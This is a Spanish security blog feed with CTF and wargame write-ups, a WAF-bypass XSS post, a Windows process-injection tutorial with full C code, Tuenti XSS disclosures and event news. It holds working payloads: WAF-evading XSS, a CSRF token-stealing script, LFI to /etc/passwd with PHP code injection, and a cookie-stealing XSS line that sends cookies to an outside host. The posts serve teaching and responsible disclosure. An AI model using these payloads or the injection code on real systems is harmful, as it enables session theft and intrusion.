Bypass XSS filter dotDefender
No Comments

Posted by JKS on 6 de mayo de 2013 | Short Link

Hace unos días que trasteo con el WAF de dotDefender para conseguir saltarlo y tal. En uno de esos momentos que te encuentras cara a cara con el queridísimo mensaje “dotDefender Blocked Your Request”, ahí en ese preciso instante empieza la guerra entre él y yo…

La verdad no hay mucho que enseñar, simplemente a base de ver como se comportaba, que cadenas me detectaba y filtraba llegue a la conclusión de que creando un par de array’s y luego juntarlos para ejecutar la tipica alerta en un XSS se podía bypassear fácilmente el WAF, para que lo veais mejor dejo aquí el payload usado:

<img src=x onerror=’var x = new Array(); x[0]=”alert”; x[1]=”(/JKS/.source)”; x[2]=eval; x[2](x[0]%2Bx[1]);’

La explicación es sencillita, creamos un array llamado ‘x’ en el cual la primera cadena será alert, separamos los párentesis porque el WAF lo detecta si estan juntos, después añadimos un eval para poder ejecutar la alerta, ya que esta en string, finalmente lo juntamos todo para que proceda a ejecutarse. He usado el %2B (+ en hexadecimal) porque si añadieramos el + así y quisieramos usar el payload en un GET el navegador lo interpretaría como un espacio. Encontré otra forma más churra de saltarlo, usando URI, no tiene mucha magia ya que se usó en Opera para saltarse su filtro: colocar un sencillo document.location en base64 dentro de un href.

<a href=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOzwvc2NyaXB0Pg==>

 

[#Insanity] NullCon 2k13 mini writeup
1 Comment

Posted by ca0s on 4 de febrero de 2013 | Short Link

Un aplauso al amijo @0verflowInside que nos ha puesto a currar con este CTF :D

Trivia:
1- What feature, introduced in DirectX 11, makes in-game textures appear rounder and better defined?
Flag: tesselation
2- What socket was used in the first Sandy Bridge chips?
Flag: LGA1155
3- Which computer program was written in February 1991 by 3 authors?
Flag: Polyglot
4- What is an emergent micro-cooling solution that operates similarly to conventional heat pipe technology known as?
Flag: nanowik
5- What is the first 4 bytes in a neXT fat binary?
Flag: cafebabe

Programming

1 – big fib

calculate 150000th fibonacci series, and flag is sum of the alternate numbers from answers.

Nos piden la suma de los digitos impares del numero 150000 de la serie
de fibonacci. La solución que acepta es el propio número:

http://pastebin.com/XQLY3apK

Calculado con:

#include <gmp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
void add_alternatives (mpz_t *t, char *str)
{
    mpz_t tmp;
    char digit[2] = {0x00, 0x00};
    int l = strlen (str);
    int i;
 
    for (i = 0; i < l; i+=2) {
        digit[0] = str[i];
        mpz_set_str (tmp, digit, 10);
        mpz_add (*t, *t, tmp);
    }
}
 
int main(int argc, char **argv) {
    char *str = NULL;
    mpz_t first, second, sum, count, stop;
    mpz_t total;
    int c = 0;
    int i = 0;
 
    if(argc &lt; 2) {
        fprintf(stderr, "./%s num\n", argv[0]);
        return 1;
    }
 
    mpz_init (first);
    mpz_init (sum);
    mpz_init (total);
 
    mpz_init_set_ui(second, 1);
    mpz_init_set_ui(count, 1);
    mpz_init_set_str(stop, argv[1], 10);
 
    while(mpz_cmp(stop, count)) {
        /* En teoría era ésto, el form acepta lo que quiere.
        mpz_out_str (stdout, 10, sum);
        printf ("\n");
 
        str = mpz_get_str (NULL, 10, sum);
        add_alternatives (&total, str);
        free (str);
        */
        mpz_add(sum, first, second);
        mpz_set (second, first);
        mpz_set (first, sum);
        mpz_add_ui(count, count, 1);
        if (++i % 1000 == 0) printf ("%i\n", i);
    }
 
    mpz_out_str(stdout, 10, sum);
    printf("\n");
 
    str = mpz_get_str (NULL, 10, sum);
    add_alternatives (&total, str);
    free (str);
 
    mpz_out_str (stdout, 10, total);
    printf ("\n");
 
    return 0;
}

2- lazy baba

gives answer once in every 4 hours.

Y un link a answer.php

while true; do echo -e "GET /challenges/programming/answer.php HTTP/1.1\r\nHost: ctf.nullcon.net\r\n\r\n" | nc ctf.nullcon.net 80 >> lazybaba.txt; done

Flag is ABRAKADABRAGILIGILIGILI

3- harmony in series

So our folks wanted to work on binomial series but they understood incorrectly so they made a series of this type.
if series is for 10 numbers
10/1 + 9/2 + 8/3 ….. 1/10 = 22.218
round to 2 decimal place = 22.21
now they did calculated this series for 31337 numbers can you help these guys in finding the number again.

#!/usr/bin/python
sum = 0.0
for i in range (1, 31337):
    sum += ((31337 - i + 1)/i)
print (round (sum, 2))

Flag: 311180.65

5- copy paste

no time to copy paste and what you see is not what you get.

Y un link donde se muestra una frase que vista en HTML contiene varios caracteres de escape. El objetivo era picar algo que
- Obteniese la frase
- Urldecode
- Post con el resultado
En menos de dos segundos.
Pero…

<@ca0s> tengo unas manos muy rápidas

Web

1-
La página recuerda demasiado a StackOverflow como para no recordar el owned que les hicieron hace poco. Hay un link hacia “Admin console”, pero no estamos autorizados a ver su contenido. Añadiendo un header a la petición HTTP:
X-Forwarded-For: 127.0.0.1
Escupía:
The Flag is DholuBholuareTWINS

2-
Tenemos un login, y la posibilidad de crear un usuario. Una vez creado, hay un guestbook en el que podemos postear mensajitos. Solo aparece el link para ver el contenido del mensaje en tus propios mensajes, pero cambiando el ID del mensaje que quieres ver a 1:
Title: flag and Description: ChutkiisVERYcute

3-
Se encontraba presente un archivo “login.phps”. Contenía alguna linea interesante:

if ("Username & Password is correct"){
// Authenticated
header("Location: onepage.php");

Al acceder a onepage.php respondía un 302 Moved Temporarily, con un Location: login.php y algo de HTML, conteniendo:
The flag is JagguisaNAUGHTYbunder

4-
La vulnerabilidad era un XSS en el lector de mails + CSRF en el formulario para dar acceso de admin. Los forms estaban protegidos por un token, pero éste no variaba en cada acceso. El token NO estaba presente en el lector de mails. Enviamos el siguiente payload:

<script>
if(window.XMLHttpRequest)
    http=new XMLHttpRequest();
else http=new ActiveXObject("Microsoft.XMLHTTP"); 
http.onreadystatechange=function() { 	
    if(http.readyState==4 && http.status==200) {
        var res = http.responseText;
        var a = res.split ('name="csrftoken" value="');
        var b = a[1].split ('" />');
	var token = b[0];
	parent.location = "http://ctf.nullcon.net/challenges/web/web4/set_admin.php?user=cannabis&csrftoken="+token+"&Set=Set";
    }
}
http.open("GET", "/challenges/web/web4/send_mail.php", true);
http.send ();
</script>

Y al rato, el token: BheemlikesLADDUSalot

Por otro lado, registrando el usuario admin y entrando como tal, también pudimos ver el token.

RE
1-
Se nos presenta el archivo challenge.do

''=~('('.'?'.'{'.('`'|'%').('['^'-').('`'|'!').('`'|',').'"'.('['^'.').('['^'(').('`'|'%').('{'^'[')
.('['^'(').('['^'/').('['^')').('`'|')').('`'|'#').('['^'/').';'.('['^'.').('['^'(').('`'|'%').('{'^
'[').('['^',').('`'|'!').('['^')').('`'|'.').('`'|')').('`'|'.').('`'|"'").('['^'(').';'.('`'|')').(
'`'|'&').'('.'\\'.'$'.'#'.('`'^'!').('{'^')').('`'^"'").('{'^'-').'='.'='.('^'^('`'|','))."\)".'\\'.
'{'.('`'|')').('`'|'&').'('.'\\'.'$'.('`'^'!').('{'^')').('`'^"'").('{'^'-').'['.('^'^('`'|'.')).']'
.'.'.'\\'.'$'.('`'^'!').('{'^')').('`'^"'").('{'^'-').'['.('^'^('`'|'/')).']'.('`'|'%').('['^('*')).
'\\'.'$'.('`'^'%').('`'^'.').('{'^'-').'\\'.'{'."'".('{'^'.').('{'^'(').('`'^'%').('{'^')')."'".'\\'
.'}'.')'.'\\'.'{'.('['^'+').('['^')').('`'|')').('`'|'.').('['^'/').'\\'.'"'.('`'^'&').('`'|(',')).(
'`'|'!').('`'|"'").'='."'".('`'^"'").('`'|'/').('`'|',').('`'|'$').('`'|'%').('`'|'.').('`'^('$')).(
'`'|'!').('['^'"').('['^'(').('`'^'!').('['^')').('`'|'%').('`'^'"').('`'|'!').('`'|'#').('`'|"\+").
"'".'\\'.'"'.'\\'.'}'.'\\'.'}'.'"'.'}'.')');$:='.'^'~';$~='@'|'(';$^=')'^'[';$/='`'|'.';$,='('^"\}";

Después de un rato buscando gaticos en ASCII, empezamos a ver tetas en ASCII algo parecido a concatenaciones en Perl.
Tuneando un poco el archivo:

#!/usr/bin/perl
 
$A=('('.'?'.'{'.('`'|'%').('['^'-').('`'|'!').('`'|',').'"'.('['^'.').('['^'(').('`'|'%').('{'^'[')
.('['^'(').('['^'/').('['^')').('`'|')').('`'|'#').('['^'/').';'.('['^'.').('['^'(').('`'|'%').('{'^
'[').('['^',').('`'|'!').('['^')').('`'|'.').('`'|')').('`'|'.').('`'|"'").('['^'(').';'.('`'|')').(
'`'|'&').'('.'\\'.'$'.'#'.('`'^'!').('{'^')').('`'^"'").('{'^'-').'='.'='.('^'^('`'|','))."\)".'\\'.
'{'.('`'|')').('`'|'&').'('.'\\'.'$'.('`'^'!').('{'^')').('`'^"'").('{'^'-').'['.('^'^('`'|'.')).']'
.'.'.'\\'.'$'.('`'^'!').('{'^')').('`'^"'").('{'^'-').'['.('^'^('`'|'/')).']'.('`'|'%').('['^('*')).
'\\'.'$'.('`'^'%').('`'^'.').('{'^'-').'\\'.'{'."'".('{'^'.').('{'^'(').('`'^'%').('{'^')')."'".'\\'
.'}'.')'.'\\'.'{'.('['^'+').('['^')').('`'|')').('`'|'.').('['^'/').'\\'.'"'.('`'^'&').('`'|(',')).(
'`'|'!').('`'|"'").'='."'".('`'^"'").('`'|'/').('`'|',').('`'|'$').('`'|'%').('`'|'.').('`'^('$')).(
'`'|'!').('['^'"').('['^'(').('`'^'!').('['^')').('`'|'%').('`'^'"').('`'|'!').('`'|'#').('`'|"\+").
"'".'\\'.'"'.'\\'.'}'.'\\'.'}'.'"'.'}'.')');
 
print $A;

Se nos mostraba el resultado:

(?{eval"use strict;use warnings;if(\$#ARGV==2)\{if(\$ARGV[0].\$ARGV[1]eq\$ENV\{'USER'\})\{print\"Flag='GoldenDaysAreBack'\"\}\}"})

Flag: GoldenDaysAreBack

Recopilando información (information gathering)
No Comments

Posted by JKS on 6 de enero de 2012 | Short Link

Estos días estaba pensando en publicar una entrada sobre como hacer una test de intrusión (pentest) y por eso decidí hacer un par de entradas dedicadas a information gathering, una de las partes importantes que se llevan a cabo en una intrusión, en está entrada no voy a extenderme mucho ya que son conceptos básicos.

Empezemos a hablar sobre que es eso de information gathering.

Esta técnica trata de recopilar el máximo de información posible sobre la web/sistema que se hará el test, y  usar esa información para encontrar algunas vulnerabilidades. Por ejemplo:

Tenemos que hacer un test de intrusión a una empresa privada de juguetes. Usando un buscador, ya sea google/bing/yahoo u otro, nos dedicaremos a buscar archivos de configuración, backups, PDF’s, o cualquier tipo de documento que nos pueda servir más adelante. Podemos extraer los metadatos y guardar esa información para el informe que se presentará al final del test de intrusión.

Nos topamos con que la empresa de juguetería usa un CMS (Content Management System) conocido llamado WordPress y está desactualizado. ¿Cómo lo sabemos? En casi todos los CMS que hay hoy en día en el panel de administración o lugares públicos como puede ser el /readme.html de WordPress sale la versión que se usa, y gracias a ello podemos buscar en webs como exploit-db, 1337day, seclists o en buscadores si tiene alguna vulnerabilidad conocida o publicada. En la juguetería estan usando la versión 3.1.3 de WordPress, en este caso tiene una vulnerabilidad SQLi y aquí podemos ver donde afecta de esa versión.

Ahora que sabemos que CMS usa y su version con sus respectivas vulnerabilidades podemos empezar a buscar otra información “algo” confidencial como podrían ser el nombre de usuario de la máquina, si está en un IIS, apache, tomcat u otro, si el servidor está compartido o no y una larga etcetera de cosas. ¿Como podemos saber todas estas cosas? Fácil, como siempre hay formas manuales de hacerlo o automatizandolas, para no extender mucho la entrada vamos a nombrar de una forma rapida un par de maneras manuales y otras con automatizadores.

Manualmente, podría ser viendo  las cabeceras HTTP que envia el servidor, que casi siempre te saldrá. Otra es provocar un error 500 o 404 y en el footer de la página a veces se puede observar la versión, en que corre, que CGI permite etc…

Por otra parte tenemos herramientas muy buenas para automatizar test de intrusión:

Nmap es una de las formas más usadas en los test de intrusión ya que permite escanear los puertos y hacer OS fingerprinting.

También está la FOCA que se usa para extraer los metadatos y hacer footprinting a la web si no me equivoco, es una herramienta muy interesante, creada por la gente de informatica64.

En la próxima entrada sobre information gathering seguiremos con escaneo de puertos ¡y muchas más cosas!

 

Saludos, JKS.

Inyección de código en procesos bajo windows
No Comments

Posted by ca0s on 3 de enero de 2012 | Short Link

0×01 – Intro
0×02 – APIs
0×03 – Inyectando con DLL
0×04 – Inyectando sin DLL
0×05 – Referencias

0×01 | Intro

Voy a explicar mas o menos como inyectar nuestro propio código en otro proceso. Primero inyectaremos una dll, después lo haremos a pelo.

0×02 | API’s

Primero necesitamos conocer algunas APIs de windows. Si ya las conoces, o sólo te interesa el método, salta a la siguiente sección.

OpenProcess:

HANDLE WINAPI OpenProcess(
	__in DWORD dwDesiredAccess,
	__in BOOL bInheritHandle,
	__in DWORD dwProcessId
);

Abre el proceso especificando su PID en dwProcessId, con los privilegios deseados. Retorna un manejador
al proceso, o NULL en caso de error.

VirtualAllocEx:

LPVOID WINAPI VirtualAllocEx(
	__in HANDLE hProcess,
	__in_opt LPVOID lpAddress,
	__in SIZE_T dwSize,
	__in DWORD flAllocationType,
	__in DWORD flProtect
);

Reserva memoria en el espacio de otro proceso, comenzando en lpAddress (si se le pasa NULL el sistema elige por nosotros), con el tamaño dwSize y con los permisos que le asignemos (usaremos PAGE_EXECUTE_READWRITE).
Devuelve un puntero a esa memoriam o NULL en caso de error.

WriteProcessMemory:

BOOL WINAPI WriteProcessMemory(
	__in HANDLE hProcess,
	__in LPVOID lpBaseAddress,
	__in LPCVOID lpBuffer,
	__in SIZE_T nSize,
	__out SIZE_T *lpNumberOfBytesWritten
);

Escribe en la memoria dada por lpBaseAddress el contenido apuntado por lpBuffer, hasta nSize bytes. Devuelve FALSE en caso de error.

CreateRemoteThread:

HANDLE WINAPI CreateRemoteThread(
	__in HANDLE hProcess,
	__in LPSECURITY_ATTRIBUTES lpThreadAttributes,
	__in SIZE_T dwStackSize,
	__in LPTHREAD_START_ROUTINE lpStartAddress,
	__in LPVOID lpParameter,
	__in DWORD dwCreationFlags,
	__out LPDWORD lpThreadId
);

Lanza un hilo en el proceso hProcess (abierto con OpenProcess), estando en ese hilo la funcion apuntada por lpStartAddress con los argumentos apuntados por lpParameter.

También usaremos Tlhelp32.h para obtener el PID de un proceso sabiendo su nombre.

HANDLE processList=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pInfo;
BOOL st=TRUE;
pInfo.dwSize=sizeof(PROCESSENTRY32);
Process32First(processList, &pInfo);
int myPid=0;
do
{
	if(strcmp(pInfo.szExeFile, "test.exe")==0)
	{
		myPid=pInfo.th32ProcessID;
		break;
	}
	Process32Next(lista, &pInfo);
}
while(st!=FALSE);

Ver MSDN para mas info.

0×03 | Inyectando con DLL

Primero necesitamos una DLL que inyectar, la cual al ser programada por nosotros hará lo que queramos.

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
 
BOOL APIENTRY DllMain (HINSTANCE hInst,
DWORD reason,
LPVOID reserved)
{
	switch (reason)
	{
		case DLL_PROCESS_ATTACH:
		MessageBoxA(NULL, "Hi!", "Hey!", 0);
		break;
	}
	return TRUE;
}

Ahora tenemos que hacer al proceso cargar esa DLL. Para ello:
- Abrimos el proceso, reservamos memoria en él, y escribimos en esa memoria la ruta de la DLL.
- Obtener la dirección de LoadLibrary con GetProcAddress. LoadLibrary se encuentra en kernel32.dll, y su
dirección es compartida, por lo que podemos cargarla desde el inyector y usarla desde el inyectado.
- Lanzar un hilo en el proceso abierto, dando como punto de entrada la dirección de LoadLibrary y como argumento
la dirección del nombre de la DLL previamente escrito.

Todo junto queda así:

#include <stdio.h>
#include <windows.h>
#include <Tlhelp32.h>
 
void error(char *err);
 
HANDLE myProc=NULL;
 
int main(int argc, char *argv[])
{
	HANDLE processList=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	PROCESSENTRY32 pInfo;
	BOOL st=TRUE;
	pInfo.dwSize=sizeof(PROCESSENTRY32);
	Process32First(processList, &pInfo);
	int myPid=0;
	do
	{
		if(strcmp(pInfo.szExeFile, "test.exe")==0)
		{
			myPid=pInfo.th32ProcessID;
			break;
		}
		Process32Next(processList, &pInfo);
	}
	while(st!=FALSE);
 
	// Abrir el proceso
	printf("[+] Opening process %i\n", myPid);
	myProc=OpenProcess(PROCESS_ALL_ACCESS, FALSE, myPid);
	if(myProc==NULL) error("[-] Error abriendo proceso.\n");
	else printf("[+] Proceso abierto.\n");
 
	// Reservar memoria para el argumento (ruta de la DLL)
	char thData[]="dll.dll";
	LPVOID dirToArg=VirtualAllocEx(myProc, NULL, strlen(thData), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if(dirToArg==NULL) 
		error("[-] Error reservando memoria para argumento.\n");
	else printf("[+] Memoria reservada para argumento (%i bytes).\n", strlen(thData));
	// Escribir la ruta de la DLL en la memoria reservada
	SIZE_T written=0;
	if(WriteProcessMemory(myProc, dirToArg, (LPVOID)&thData, strlen(thData), &written)==0) 
		error("[-] Error escribiendo memoria.\n");
	else printf("[+] Memoria escrita (arg %i bytes).\n", written);
 
	// Lanzar un hilo con LoadLibrary
	HANDLE rThread=CreateRemoteThread(myProc, NULL, 0, (LPTHREAD_START_ROUTINE)GetProcAddress(LoadLibrary("Kernel32.dll"), "LoadLibraryA"), dirToArg, 0, NULL);
	if(rThread==NULL) 
		error("[-] Error creando el hilo.\n");
	else printf("[+] Hilo creado.\n");
 
	CloseHandle(myProc);
}
 
void error(char *err)
{
	if(myProc!=NULL) CloseHandle(myProc);
	printf("%s", err);
	exit(0);
}

 

0×04 | Inyectando sin DLL

Aquí la cosa se complica. Las diferencias entre un método y otro son:
- Ahora no podemos utilizar cadenas de texto directamente como argumentos a funciones. Ya veremos por qué.
- No podemos llamar a ninguna función que no carguemos previamente con LoadLibrary + GetProcAddress. Esas dos están cargadas en todos los ejecutables de Windows desde kernel32, así que podemos usar un puntero a ellas.
- Tenemos que escribir todo el código de nuestras funciones en el espacio de memoria del proceso.
- Necesitaremos estructuras mas complejas como argumento de nuestros hilos remotos.

Así que el proceso de inyección quedaría así:
- Crear una estructura de datos con TODAS las cadenas de texto que vayamos a usar en el código inyectado, y con un puntero a LoadLibrary y GetProcAddress.
- Abrir el proceso.
- Reservar memoria para la estructura de datos. Escribirla.
- Reservar memoria para nuestro código. Escribirlo.
- Lanzar el hilo remoto, dando como punto de entrada el puntero a neustro código y como argumento el puntero a nuestra estructura de datos.

Y el código queda así (en el ejemplo inyecto un MessageBoxA, cargado desde User32.dll)

#include <stdio.h>
#include <windows.h>
#include <Tlhelp32.h>
 
void error(char *err);
static DWORD WINAPI myFunc(LPVOID data);
 
HANDLE myProc=NULL;
 
// Con esto cargaremos punteros a LoadLibrary y GetProcAddress en nuestra estrucura de datos
typedef int (WINAPI *datLoadLibrary)(LPCTSTR);
typedef int (WINAPI *datGetProcAddress)(HMODULE, LPCSTR);
 
int main(int argc, char *argv[])
{
	if(argc<2) 
		error("Uso: hook.exe PROCESO\n");
	// Esta es nuestra estructura de argumentos
	struct {
		char lnUser32[50]; // -> "User32.dll"
		char fnMessageBoxA[50]; // -> "MessageBoxA"
		datLoadLibrary apiLoadLibrary; // Puntero a LoadLibrary
		datGetProcAddress apiGetProcAddress; // Puntero a GetProcAddress
		char Msg[50]; // Texto que usaremos en MessageBoxA
	} thData;
	strcpy(thData.lnUser32, "User32.dll");
	strcpy(thData.fnMessageBoxA, "MessageBoxA");
	strcpy(thData.Msg, "Hola!");
	thData.apiLoadLibrary=GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
	thData.apiGetProcAddress=GetProcAddress(GetModuleHandle("kernel32.dll"), "GetProcAddress");
 
	int funcSize=600; // El tamaño de nuestra función. Podria calcularse de forma exacta, pero como ejemplo
				      // exagerado nos vale .
 
	HANDLE processList=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	PROCESSENTRY32 pInfo;
	BOOL st=TRUE;
	pInfo.dwSize=sizeof(PROCESSENTRY32);
	Process32First(processList, &pInfo);
	int myPid=0;
	do
	{
		if(strcmp(pInfo.szExeFile, argv[1])==0)
		{
			myPid=pInfo.th32ProcessID;
			break;
		}
		Process32Next(processList, &pInfo);
	} while(st!=FALSE);
 
	// Abrir proceso
	printf("[+] Abriendo proceso %i\n", myPid);
	myProc=OpenProcess(PROCESS_ALL_ACCESS, FALSE, myPid);
	if(myProc==NULL) 
		error("[-] Error abriendo proceso.\n");
	else printf("[+] Proceso abierto.\n");
 
	// Reservar memoria para argumentos
	LPVOID dirToArg=VirtualAllocEx(myProc, NULL, sizeof(thData), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if(dirToArg==NULL) 
		error("[-] Error reservando memoria para arg.\n");
	else printf("[+] Memoria reservada para arg (%i bytes).\n", sizeof(thData));
	// Escribir argumentos
	SIZE_T written=0;
	if(WriteProcessMemory(myProc, dirToArg, (LPVOID)&thData, sizeof(thData), &written)==0) 
		error("[-] Error escribiendo la estructura de datos.\n");
	else printf("[+] Memoria escrita (arg %i bytes).\n", written);
 
	// Reservar memoria para la funcion
	LPVOID dirToWrite=VirtualAllocEx(myProc, NULL, funcSize, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if(dirToWrite==NULL) 
		error("[-] Error rreservando memoria para codigo.\n");
	else printf("[+] Memoria reservada para codigo (%i bytes).\n", funcSize);
	// Escribimos el codigo de nuestra funcion
	if(WriteProcessMemory(myProc, dirToWrite, (LPVOID)myFunc, funcSize, &written) == 0) 
		error("[-]Error escribiendo memoria.\n");
	else printf("[+] Memoria escrita (codigo).\n");
 
	// Lanzamos el hilo
	HANDLE rThread=CreateRemoteThread(myProc, NULL, 0, (LPTHREAD_START_ROUTINE)dirToWrite, dirToArg, 0, NULL);
	if(rThread==NULL) 
		error("[-] Error lanzando hilo.\n");
	else printf("[+] Hilo lanzado.\n");
	CloseHandle(myProc);
 
	return 0;
}
 
void error(char *err)
{
	if(myProc!=NULL) CloseHandle(myProc);
	printf("%s", err);
	exit(0);
}
 
static DWORD WINAPI myFunc(LPVOID data)
{
	// Cargamos nuestros datos en una estructura como la que hicimos
	struct {
		char lnUser32[50];
		char fnMessageBoxA[50];
		datLoadLibrary apiLoadLibrary;
		datGetProcAddress apiGetProcAddress;
		char MSG[50];
	} *thData;
	thData=data;
	// Podemos conseguir cualquier API con estas dos, siempre que tengamos su nombre en la estructura
	void *apiDir=(void *)thData->apiGetProcAddress((HANDLE)thData->apiLoadLibrary(thData->lnUser32), thData->fnMessageBoxA);
	// Puntero a funcion similar a MessageBoxA
	INT WINAPI (*myMessageBox)(HWND, LPCSTR, LPCSTR, UINT);
	myMessageBox=apiDir;
	myMessageBox(NULL, thData->MSG, thData->MSG, 0);
	return;
}

Creo que todo va bien explicado. Si he metido la gamba en algo (cosa muy posible), contádmelo y tal, en un comentario.

Bug XSS en Tuenti (II)
No Comments

Posted by xassiz on 2 de enero de 2012 | Short Link

Hola amigos!

Con la cosa del XSS del otro día en Tuenti, nos topamos con un par de fallitos más, y aquí os los mostramos ;D

Esta vez el bug tal vez sea más peligroso que el anterior. El anterior afectaba a la persona que tú eligieras en el Chat; bien, pues este afecta a todos los amigos que tengas agregados, ya que se basa en las Novedades que aparecen en Inicio:

El diseño de las Novedades fue cambiado algo antes que el del chat si mal no recuerdo. Esta “mejora” que implementaron consistía en que en Novedades aparecía más información, y un par de formularios desde donde podías comentar directamente estados, fotos, etc.

Además, si pones el link de una foto de estado (sólo sirve con las subidas en Tuenti) se reemplaza la URL por el título que le hayas puesto a la foto, y en Novedades sale una miniatura de la misma.

El bug es simple, cerramos el atributo phototitle, cerramos la etiqueta, insertamos código y volvemos a abrir la etiqueta como si nada hubiera pasado ;D

Los programadores de Tuenti deberían ser gente más seria, qué les cuesta testear algo mínimamente antes de darlo a la luz? ;P

El bug fue reportado, y a día de hoy, 2 de enero, ya está parcheado.

Un saludo a todos, y feliz 2012! :)

@xassiz

@ca0s_

@kr0no_

@JKS___

@0verflowInside

Bug XSS en Tuenti (I)
1 Comment

Posted by xassiz on 29 de diciembre de 2011 | Short Link

Hola amigos!

Aprovechamos las vacaciones para retomar el blog, y lo intentamos hacer con algo interesante ^^

 

Hace unos días la red social Tuenti nos deleitaba con un nuevo diseño de chat, con nuevos iconos y nuevas funcionalidades como la de Conversaciones recientes. ¿Qué pasa con las cosas nuevas? Al principio siempre tienen algún fallito ;D

 

Un día, aburrido, nuestro amigo @JKS___ empezó a probar cosas, y se topó con algo interesante.

Si colocamos el cursor encima de una conversación reciente, nos aparece el último mensaje. ¿Qué pasa si enviamos código por el chat? ¡Bingo! Al pasar el cursor por encima se ejecuta:

Comprobango bug

 

A partir de aquí tenemos un XSS que se ejecuta a la vez en el navegador atacante y el atacado. Lo primero que se nos ocurrió fue lo más sencillo, ya que había una restricción de X caracteres máximos, intentamos incluir un archivo .js externo.

 

El problema era que el chat detecta URL y se parseaba esa parte, pero sólo el protocolo HTTP, así que con un FTP abierto se podría jugar, algo como:

<script src=”ftp://ka0labs.net/virus.js”>

Lo que faltaba era que el código javascript no se ejecutaba directamente, había que hacer mano de los eventos.

 

La investigación termina robando cookies con una redirección del estilo:

</ul><img onerror=”location.href=’ftp://ka0labs.net/robacookies.php?cookie=’+document.cookie” src=”"/>

 

El fallo fue reportado ayer, y hoy jueves ya está parcheado :P

 

Saludos! :)

@xassiz

@ca0s_

@kr0no_

@JKS___

@0verflowInside

Insanity WriteUp – beepbeep – #wgsbd2
No Comments

Posted by Aitor F. on 20 de julio de 2011 | Short Link

WriteUp – beepbeep – #wgsbd2

 

Bueno, desde el grupo Insanity, puesto 10º en el wargame 2 de @secbydefault para la Campus Party Valencia 2011, formado por @ca0s, @JKS, @0verflow y @xassiz, os traemos el solucionario del reto “beepbeep“.

Bien, revisando la web por encima no encontramos nada raro, pero si nos fijamos podemos ver algunas pistas. En los textos aparecían resaltadas (ya sea tachado, negrita, subrayado, etc.) palabras como “ayudar” o “Pena de idiomas”.

Esto nos llevó a hacer click en el apartado “Ayuda” de la web. Mirando el código fuente de ayuda.php encontramos algo curioso:

<!–
// todavia en test
<div>
<ul>
<li><a href=”#”><img src=”images/es.png” /></a></li>
<li><a href=”#”><img src=”images/uk.png” /></a></li>
</ul>
</div>
–>

Nos pusimos a pensar y dimos con ello, probamos:

/ayuda.php?lang=en

y bingo!, el menú (entre otras cosas) cambió a inglés. Tras pasar un rato pensando que hacer con una variable por GET probamos bugs como LFI. En las cabeceras pudimos comprobar que el servidor era Unix (más concretamente Mathopd), así que buscamos el famosísimo /etc/passwd dimos con él:

/ayuda.php?lang=../../../../../../../../etc/passwd

En él podíamos ver una cuenta llamada “youAREgettingCLOSERplzCONTINUE“, así que seguimos rompiéndonos la cabeza :-)

Tras un rato recordando formas de explotar un LFI dimos con el clavo: Proc self environ method. Se trata de utilizar el archivo /proc/self/environ, que imprime datos como nuestro User-Agent, para modificar las cabeceras pudiendo ejecutar código PHP en el servidor.

Mirando phpinfo() comprobé que funciones como ejecución de comandos estaban deshabilitadas, así que escribí un pequeño script para listar los archivos del directorio web (/opt/reto/www/, que aparecía en la información mostrada). Así que en el User-Agent puse algo así:

<?php $dir=dir(/opt/reto/www/);while ($x = $dir->read()) echo $x.<br>;$dir->close();?>

Y ahí apareció ante mis ojos un archivo llamado “_clave_.php”. En él aparecía un mensaje tal que así:

pero… no esperarás en serio que la imprima por pantalla, verdad?

venga que ya casi estás!

Así que si no me la imprime, me imaginé que estaría en el código fuente *-)

Pues manos a la obra!

<?php echo file_get_contents(/opt/reto/www/_clave_.php”); ?>

Y vemos que la clave era: “Environment_Rulz_by_Acme”.

Saludos!

at xassiz.

Campus Party Valencia 2011
No Comments

Posted by Aitor F. on 26 de junio de 2011 | Short Link

Estos días está siendo noticia el grupo LulzSec, Anonymous y la operación #AntiSec, pero información sobre estos temas hay muchísima por Internet, y no creo que pueda aportar nada nuevo, así que en este post voy a contaros un poco de lo que vais a poder ver en la Campus Party de Valencia, que empezará el día 11 de Julio y acabará el 17 del mismo mes:

 

Conferencias Estelares

Contaremos con la presencia de Kevin Mitnick, que dará una pequeña conferencia en la que compartirá su experiencia y contará alguna que otra anécdota. Obviamente la charla será sobre seguridad informática. Podeís ver más información en la página de la Campus Party.

También estará presente Julien Fourgeaud el Product Manager & Business Development de Rovio. Nos comentará el éxito que ha tenido el famoso juego Angry Birds y nos contará algunos tips para tener éxito en el desarrollo de un buen juego. Más información.

Erik Schultink (CTO de Tuenti Technologies) nos hablará de Tu, la operadora móvil creada por Tuenti. La charla tiene por nombreTu engineering: Telco 2.0

Stuart Clark hablará en su conferencia sobre los 20 misterios que más intrigan a los astrónomos. Más información sobre Stuart y la charla aquí.

Ferran Adrià (muy conocido por su restaurante, El Bulli) también se va a dejar caer por la Campus Party. Actualmente es el embajador de Telefónica. Más información en la página de la Campus.

Linux cumple 20 años, y sobre esto nos hablará Jon Hall, director ejecutivo de Linux International. Más info: Celebrando los 20 años de Linux

Gente como Carlos Ralli-Ucendo (Telefónica I+D) o Jordi Palet (responsable del grupo de Educación del IPv6 Forum) nos contarán algunas cosas que tenemos que saber sobre el “nuevo” protocolo IPv6.

Sobre robótica también habrán un par de charlas, en las cuales Melonee Wise nos hablará sobre la robótica doméstica Open Source y David Calkins, que dedicará su tiempo al presente y futuro de la robótica.

David Bravo también estará, y nos dará información sobre temas legales, que actualemente están dando mucho que hablar.

Kul Wadhwa nos dará una charla llamada “Compartiendo conocimiento“. Aún no sé sobre que hablará, así que ya actualizaré ;)

Amira Al Hussaini nos hablará sobre los derechos humanos e Internet.

La fotografía, el cine y la música también tienen un lugar en la Campus Party, por ello Gianluca Fratellini nos hablará sobre la animación en 3D en el cine y Carlos Schmukler sobre el sonido de las películas; Joan Tomás sobre fotografía y también tendremos al rapero Nach, dando una conferencia sobre la cultura Hip-Hop.

